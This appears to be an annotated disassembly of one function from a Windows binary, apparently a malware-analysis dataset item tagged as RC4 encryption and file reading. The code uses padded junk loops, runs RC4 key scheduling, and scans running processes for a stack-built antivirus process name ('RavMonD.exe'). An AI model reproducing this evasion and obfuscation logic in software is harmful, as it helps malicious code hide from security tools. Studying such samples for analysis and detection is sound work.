Function at 0x419ee0
Capabilities:
Encrypt data using rc4 ksa
Read file on windows

Disassembly:
sub esp, 0x1a0
push ebx
push esi
lea eax, [esp + 0x18]
mov esi, ecx
test eax, eax
push edi
mov dword [esp + 0x1c], esi
jne 0x41a3f9
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
xor eax, eax
movsx ecx, ax
mov byte [esp + ecx + 0xc], al
xor eax, eax
lea ecx, [esp + 0xc]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x419f15
xor eax, eax
lea ecx, [esp + 0xc]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x419f25
inc eax
cmp ax, 0x100
jl 0x419f08
xor eax, eax
lea ecx, [esp + 0xc]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x419f3c
mov byte [esp + 0x14], 0
push ebp
mov ebp, dword [esp + 0x18]
mov byte [esp + 0x14], 0
mov byte [esp + 0x15], 0
mov byte [esp + 0x1c], 0
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x419f65
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x419f75
xor ecx, ecx
lea eax, [esp + 0x10]
mov byte [eax], cl
inc ecx
inc eax
cmp cx, 0x100
jl 0x419f85
mov eax, dword [esp + 0x1c]
xor ebx, ebx
movsx edx, cx
and eax, 0xff
and ebp, 0xff
lea esi, [esp + edx + 0x10]
mov bl, byte [eax + 0x384]
mov dl, byte [esi]
mov edi, edx
and edi, 0xff
add ebx, edi
add ebx, ebp
and ebx, 0x800000ff
jns 0x419fcc
dec ebx
or ebx, 0xffffff00
inc ebx
mov byte [esp + 0x18], bl
mov ebp, dword [esp + 0x18]
mov edi, ebp
and edi, 0xff
inc eax
mov bl, byte [esp + edi + 0x10]
lea edi, [esp + edi + 0x10]
mov byte [esi], bl
mov esi, 0x57
mov byte [edi], dl
cdq
idiv esi
inc ecx
cmp cx, 0x100
mov byte [esp + 0x1c], dl
jl 0x419f5f
mov edi, ebp
and edi, 0xff
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a00f
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a01f
xor ecx, ecx
lea eax, [esp + 0x10]
mov byte [eax], cl
inc ecx
inc eax
cmp cx, 0x100
jl 0x41a02f
movsx eax, cx
mov dl, byte [esp + eax + 0x10]
xor ebx, ebx
lea esi, [esp + eax + 0x10]
mov eax, dword [esp + 0x1c]
and eax, 0xff
mov ebp, edx
and ebp, 0xff
mov bl, byte [eax + 0x384]
add edi, ebx
add ebp, edi
mov ebx, ebp
and ebx, 0x800000ff
jns 0x41a074
dec ebx
or ebx, 0xffffff00
inc ebx
mov byte [esp + 0x18], bl
mov edi, dword [esp + 0x18]
and edi, 0xff
inc eax
mov bl, byte [esp + edi + 0x10]
mov byte [esi], bl
mov byte [esp + edi + 0x10], dl
cdq
mov esi, 0x57
idiv esi
inc ecx
cmp cx, 0x100
mov byte [esp + 0x1c], dl
jl 0x41a009
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
movsx ecx, ax
mov byte [esp + ecx + 0x10], al
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a0c1
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a0d1
inc eax
cmp ax, 0x100
jl 0x41a0b4
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a0e8
mov byte [esp + 0x18], bl
mov byte [esp + 0x14], bl
mov ebp, dword [esp + 0x18]
mov byte [esp + 0x15], bl
mov byte [esp + 0x1c], bl
jmp 0x41a10a
xor ebx, ebx
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a110
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a120
xor ecx, ecx
lea eax, [esp + 0x10]
mov byte [eax], cl
inc ecx
inc eax
cmp cx, 0x100
jl 0x41a130
mov eax, dword [esp + 0x1c]
xor ebx, ebx
movsx edx, cx
and eax, 0xff
and ebp, 0xff
lea esi, [esp + edx + 0x10]
mov bl, byte [eax + 0x384]
mov dl, byte [esi]
mov edi, edx
and edi, 0xff
add ebx, edi
add ebx, ebp
and ebx, 0x800000ff
jns 0x41a177
dec ebx
or ebx, 0xffffff00
inc ebx
mov byte [esp + 0x18], bl
mov ebp, dword [esp + 0x18]
mov edi, ebp
and edi, 0xff
inc eax
mov bl, byte [esp + edi + 0x10]
lea edi, [esp + edi + 0x10]
mov byte [esi], bl
mov esi, 0x57
mov byte [edi], dl
cdq
idiv esi
inc ecx
cmp cx, 0x100
mov byte [esp + 0x1c], dl
jl 0x41a108
mov edi, ebp
and edi, 0xff
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a1ba
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a1ca
xor ecx, ecx
lea eax, [esp + 0x10]
mov byte [eax], cl
inc ecx
inc eax
cmp cx, 0x100
jl 0x41a1da
movsx eax, cx
mov dl, byte [esp + eax + 0x10]
xor ebx, ebx
lea esi, [esp + eax + 0x10]
mov eax, dword [esp + 0x1c]
and eax, 0xff
mov ebp, edx
and ebp, 0xff
mov bl, byte [eax + 0x384]
add edi, ebx
add ebp, edi
mov ebx, ebp
and ebx, 0x800000ff
jns 0x41a21f
dec ebx
or ebx, 0xffffff00
inc ebx
mov byte [esp + 0x18], bl
mov edi, dword [esp + 0x18]
and edi, 0xff
inc eax
mov bl, byte [esp + edi + 0x10]
mov byte [esi], bl
mov byte [esp + edi + 0x10], dl
cdq
mov esi, 0x57
idiv esi
inc ecx
cmp cx, 0x100
mov byte [esp + 0x1c], dl
jl 0x41a1b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
xor eax, eax
movsx edx, ax
mov byte [esp + edx + 0x10], al
xor eax, eax
lea edx, [esp + 0x10]
mov byte [edx], al
inc eax
inc edx
cmp ax, 0x100
jl 0x41a267
xor eax, eax
lea edx, [esp + 0x10]
mov byte [edx], al
inc eax
inc edx
cmp ax, 0x100
jl 0x41a277
inc eax
cmp ax, 0x100
jl 0x41a25a
xor eax, eax
lea edx, [esp + 0x10]
mov byte [edx], al
inc eax
inc edx
cmp ax, 0x100
jl 0x41a28e
mov byte [esp + 0x18], cl
mov byte [esp + 0x14], cl
mov ebp, dword [esp + 0x18]
mov byte [esp + 0x15], cl
mov byte [esp + 0x1c], cl
jmp 0x41a2b0
xor ecx, ecx
xor eax, eax
lea edx, [esp + 0x10]
mov byte [edx], al
inc eax
inc edx
cmp ax, 0x100
jl 0x41a2b6
xor eax, eax
lea edx, [esp + 0x10]
mov byte [edx], al
inc eax
inc edx
cmp ax, 0x100
jl 0x41a2c6
lea eax, [esp + 0x10]
mov byte [eax], cl
inc ecx
inc eax
cmp cx, 0x100
jl 0x41a2d4
movsx eax, cx
mov dl, byte [esp + eax + 0x10]
xor ebx, ebx
lea esi, [esp + eax + 0x10]
mov eax, dword [esp + 0x1c]
and eax, 0xff
mov edi, edx
and edi, 0xff
and ebp, 0xff
mov bl, byte [eax + 0x384]
add ebx, edi
add ebx, ebp
and ebx, 0x800000ff
jns 0x41a31d
dec ebx
or ebx, 0xffffff00
inc ebx
mov byte [esp + 0x18], bl
mov ebp, dword [esp + 0x18]
mov edi, ebp
and edi, 0xff
inc eax
mov bl, byte [esp + edi + 0x10]
lea edi, [esp + edi + 0x10]
mov byte [esi], bl
mov esi, 0x57
mov byte [edi], dl
cdq
idiv esi
inc ecx
cmp cx, 0x100
mov byte [esp + 0x1c], dl
jl 0x41a2ae
mov edi, ebp
and edi, 0xff
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a360
xor eax, eax
lea ecx, [esp + 0x10]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x41a370
xor ecx, ecx
lea eax, [esp + 0x10]
mov byte [eax], cl
inc ecx
inc eax
cmp cx, 0x100
jl 0x41a380
mov eax, dword [esp + 0x1c]
xor ebx, ebx
movsx edx, cx
and eax, 0xff
lea esi, [esp + edx + 0x10]
mov bl, byte [eax + 0x384]
mov dl, byte [esi]
add edi, ebx
mov ebp, edx
and ebp, 0xff
add ebp, edi
mov ebx, ebp
and ebx, 0x800000ff
jns 0x41a3c3
dec ebx
or ebx, 0xffffff00
inc ebx
mov byte [esp + 0x18], bl
mov edi, dword [esp + 0x18]
and edi, 0xff
inc eax
mov bl, byte [esp + edi + 0x10]
mov byte [esi], bl
mov byte [esp + edi + 0x10], dl
cdq
mov esi, 0x57
idiv esi
inc ecx
cmp cx, 0x100
mov byte [esp + 0x1c], dl
jl 0x41a35a
mov esi, dword [esp + 0x20]
pop ebp
mov eax, dword [0x4353d0]
push 0
push 2
call dword [eax + 0xc]
mov edi, eax
cmp edi, 0xffffffff
je 0x41a4b9
mov edx, dword [0x4353d0]
push 0x128
lea ecx, [esp + 0x88]
push 0
push ecx
call dword [edx + 0x21c]
mov ecx, dword [0x4353d0]
add esp, 0xc
lea eax, [esp + 0x84]
mov dword [esp + 0x84], 0x128
push eax
push edi
call dword [ecx + 8]
test eax, eax
je 0x41a4b9
mov ebx, 1
push 0
push 0x65
push 0x78
push 0x65
push 0x2e
push 0x44
push 0x6e
push 0x6f
push 0x4d
push 0x76
push 0x61
lea edx, [esp + 0x4c]
push 0x52
push edx
call fcn.00408c90
mov edx, dword [0x4353d0]
lea eax, [esp + 0xdc]
lea ecx, [esp + 0x54]
push eax
push ecx
call dword [edx + 0x1e0]
add esp, 0x3c
test eax, eax
jne 0x41a499
mov dword [esi + 4], ebx
mov ecx, dword [0x4353d0]
lea eax, [esp + 0x84]
push eax
push edi
call dword [ecx + 4]
test eax, eax
jne 0x41a454
mov edx, dword [0x4353d0]
push edi
call dword [edx + 0x44]
pop edi
pop esi
pop ebx
add esp, 0x1a0
ret